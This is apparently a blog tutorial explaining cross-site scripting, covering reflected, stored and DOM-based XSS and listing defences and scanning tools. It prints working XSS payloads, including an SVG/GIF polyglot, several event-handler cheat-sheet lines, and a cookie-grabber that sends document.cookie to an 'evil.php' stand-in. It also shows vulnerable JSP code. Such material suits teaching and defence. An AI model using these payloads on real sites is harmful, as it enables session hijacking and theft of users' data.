ā” Cyber Morans,
Today we will be exploring one of the most prevalent and common vulnerabilities š¤ found on the Internet. Hackers on BugCrowd and Hackerone have made hundreds of thousands (dollars) from identifying this vulnerability in Big Tech products like Microsoft, Google, Uber, Netflix...etc. A few Real world examples and Proofs of Concept (PoCs) as usual to allow you to follow with ease. Roll up your sleeves because this is how I would Hack your Websites and Domains. But dont fret, I'll teach you to identify, use and mitigate this demon. You Ready? You are about to learn how to use a Cyber weapon!......ResponsiblyšŖ
Cross-Site Scripting (also known as XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker š uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it š²
XSS allows an attacker to compromise the interactions that users have with a vulnerable application. It allows an attacker to circumvent the same origin policy, which is designed to segregate different websites from each other. Cross-site scripting vulnerabilities also normally allow an attacker š to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user's data. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the application's functionality and data š
An attacker š can use XSS to send a malicious script to an unsuspecting user. The end userās browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.
Early on, two primary types of XSS were identified, Stored XSS and Reflected XSS. In 2005, Amit Klein defined a third type of XSS, which Amit coined DOM Based XSS.
š Reflected XSS (Non-Persistent/Type I)
Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser, and without permanently storing the user provided data. In some cases, the user provided data may never even leave the browser (see DOM Based XSS below).
PoC š: šThe application allows the upload of a SVG file extension (which is also an image type), a file with the following content( EXIF data or even name of the file is the payload) used to trigger a XSS:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
To create such an image just use this as content and name it with .gif extensionš:
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
The signature of a GIF file, GIF89a, is used as a javascript variable assigned to the alert function. Between them however, thereās a commented XSS vector just in case the image can be retrieved as the text/HTML MIME type, thus allowing payload execution by just requesting the file.
š Stored XSS (Persistent/Blind/Type II)
Stored XSS generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser. With the advent of HTML5, and other browser technologies, we can envision the attack payload being permanently stored in the victimās browser, such as an HTML5 database, and never being sent to the server at all.
PoC š: š Stored XSS in zulip: Zulip is a powerful, open source group chat application that combines the immediacy of real-time chat with the productivity benefits of threaded conversations. Zulip is used by open source projects, Fortune 500 companies, large standards bodies, and others who need a real-time chat system that allows users to easily process hundreds or thousands of messages a day. With over 700 contributors merging over 500 commits a month, Zulip is also the largest and fastest growing open source group chat project and was vulnerable to Stored XSS through creating streams. This vulnerability was assigned a CVE and fixed in 2021.
š DOM Based XSS (Type-0)
As defined by Amit Klein, who published the first article about this issue in 2005, DOM Based XSS is a form of XSS where the entire tainted data flow from source to sink takes place in the browser, i.e., the source of the data is in the DOM, the sink is also in the DOM, and the data flow never leaves the browser. For example, the source (where malicious data is read) could be the URL of the page (e.g., document.location.href), or it could be an element of the HTML, and the sink is a sensitive method call that causes the execution of the malicious data (e.g., document.write).ā
3 Real examples of Malicious XSS Manipulation
š 1. JSP code segment I inject into your company Site (Say a bank) reads an employee ID, eid, from an HTTP request and displays it to the user š
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>š 2. JSP code segment queries a database for an employee with a given ID and prints the corresponding employeeās name. say the Police or IEBC Database or a University š
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>
Employee Name: <%= name %>š 3. Cookie grabber
If the application doesnāt validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles) š
<SCRIPT type="text/javascript"> var adr = '../evil.php?cakemonster=' + escape(document.cookie); </SCRIPT> Event handlers that do not require user interaction
This cheat sheet is regularly updated in 2022. A few examples;
šFires after script is executed - <xss onafterscriptexecute=alert(1)><script>1</script>
šFires when a CSS animation cancels - <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xss id=x style="position:absolute;" onanimationcancel="print()"></xss>
šFires when a CSS animation ends - <style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>
šFires when a CSS animation starts - <style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>
šFires before script is executed - <xss onbeforescriptexecute=alert(1)><script>1</script>
šFires after if the url changes - <body onbeforeunload=navigator.sendBeacon('//https://ssl.portswigger-labs.net/',document.body.innerHTML)>
šFires when the element is loaded - <body onload=alert(1)>
šFires when the element finishes loading - <image src=validimage.png onloadend=alert(1)>
Others may require user interaction but hte principle is the same.
for more visit Portswigger.
ā ļø XSS Attack Consequences ā ļø
The consequence of an XSS attack is the same regardless of whether it is stored or reflected (or DOM Based). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a āread-onlyā or ābrochurewareā site is not vulnerable to serious reflected XSS ā ļø attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the userās session cookie, allowing an attacker to hijack the userās session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a companyās stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.
Are You Vulnerable?
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output š. Note that a variety of different HTML tags can be used to transmit a malicious JavaScriptā ļø. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable ā ļø, there is a high likelihood that there are other problems as wellā ļøā ļø.
Protect Yourself
1. Output Encoding š
Output Encoding is recommended when you need to safely display data exactly as a user typed it in. Variables should not be interpreted as code instead of text. Do this for HTML Contexts, HTML Attribute Contexts, javaScript Contexts, CSS Contexts, URL Contexts.
2. HTML Sanitization š
HTML Sanitization will strip dangerous HTML from a variable and return a safe string of HTML. OWASP recommends DOMPurify for HTML Sanitization. If you sanitize content and then modify it afterwards, you can easily void your security efforts.
3. Safe Sinks š
Security professionals often talk in terms of sources and sinks. If you pollute a river, it'll flow downstream somewhere. Itās the same with computer security. XSS sinks are places where variables are placed into your webpage.
- Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width.
4. Cookie Attributes š
These change how JavaScript and browsers can interact with cookies. Cookie attributes try to limit the impact of an XSS attack but donāt prevent the execution of malicious content or address the root cause of the vulnerability.
5. Web Application Firewalls š
These look for known attack strings and block them. WAFās are unreliable and new bypass techniques are being discovered regularly. WAFs also donāt address the root cause of an XSS vulnerability.
6. Turn off HTTP TRACE support on all web servers š
An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported by the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the userās cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all web servers.
Top FREE Automated XSS scanners and exploitation tools
1. Nikto - very powerful tool for pentesting and bug bounty.
2. NMAP NSE scripts - Efficient and easy to use e.g http-stored-xss.nse
3. XSStrike - most advanced XSS scanner
4. Dalfox - XSS scanning tool with parameter analysis
5. XRCross - scanner and pentester/Bug bounty
6. Nessus - Network scanning and management tool
7. Metasploit Framework - Pentesting and hacking tool.
These are the tools I use personally; There many more open source tools on Github.
Conclusion
Here we decyphered in deep how the XSS vulnerability manifests itself and how the to attempt to fix this.
Subscribe to receive notifications of similar posts š where we will be reverse engineering malware and the technical aspect of vulnerabilities as well as how an attacker may use this vulnerability as an attack vector and other Infosec stuff...š
Thank you for your time, Like and leave a comment/review and as always, stay awesome! šš šŖ
ąøąø§ąø²ąø”ąøąø“ąøą¹ąø«ą¹ąø